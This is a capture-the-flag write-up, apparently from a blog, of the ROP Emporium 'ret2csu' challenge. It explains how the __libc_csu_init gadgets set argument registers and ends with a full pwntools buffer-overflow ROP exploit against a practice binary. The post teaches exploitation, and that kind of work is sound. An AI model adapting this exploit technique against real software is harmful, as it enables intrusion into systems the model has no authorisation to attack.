Categories
ROP ROP emporium

ret2csu

This was the last challenge from Max Kamper’s ROP Emporium. It wasn’t especially hard, but it teaches a strategy that’s extremely useful for ROP attacks that (supposedly) works universally on most Linux binaries.

To start, all ROP emporium levels have the same basic buffer overflow to overwrite the return address. The site says the objective is to call ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d).

Using checksec, we get this:

Unsurprisingly, there’s no PIE, canary, or anything unusual for this series. Looking for ROP gadgets we see where the challenge comes in.

There’s no viable way to modify rdx. However, if we look at the symbols, you might see something familiar.

See it? There’s a function called __libc_csu_init and another called __libc_csu_fini. Based on the title of the challenge, these look important. These functions are responsible for initializing and destroying the program, and are present in every Linux ELF compiled with gcc (with exceptions, I’m sure). Let’s disassemble __libc_csu_init.

the important part

If you look at the last few instructions you’ll see you can pop into various registers. At 0x400680, you’ll see that r15 and r14 are moved into rdx and rsi. The only problem is that there’s no immediate return. Further more, r13d is moved into edi, meaning that we can’t just call ret2win in the next instruction, and even if we could we’d have to find somewhere that contains it’s address. If we go further down the function, you’ll see there’s a simple comparison of rbx and rbp after an increment, which we want to pass to avoid __libc_csu_init+0x40. So we need to call a function that won’t crash our program or mess with our stack pointer, along with passing this condition. We can control the required registers no problem, so it’s just a matter of finding a function that won’t crash the program. I disassembled the entire program (it’s not big) and found the perfect function:

I’m pretty sure it was put in there just for us, as it’s effectively useless. In another binary, you’d just need to find a function that returns without messing things up.

The last register we need to take care of is rdi, which isn’t hard to find.

Once we pop the registers starting at address 0x400680, pass the rest of the function, we return to our gadget to set rdi, then call ret2win@plt (in .plt because ret2win resides in the ret2win.so library). So, we slap that all together to get a working exploit, and we get:

#!/usr/bin/env python3
from pwn import *

prog = process('./ret2csu')
payload = b''
for c in range(40): # just the basic overflow 
    payload += b'a'

payload += p64(0x40069a)
payload += p64(0)                       # rbx
payload += p64(1)                       # rbp
payload += p64(0x6003b0)                # r12 <-- fini
payload += p64(0x0)                     # r13 will clear half of register
payload += p64(0xcafebabecafebabe)      # r14
payload += p64(0xd00df00dd00df00d)      # r15
payload += p64(0x400680)

# all these zeros are just to get us over the unwanted pop instructions before returning
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x4006a3) # gadget to set rdi
payload += p64(0xdeadbeefdeadbeef)

payload += p64(0x400510) # ret2win@plt


prog.sendline(payload)
flag = prog.readline_containsS("ROPE")
print("Flag: {}\n".format(flag))

It works!

Leave a Reply

Your email address will not be published. Required fields are marked *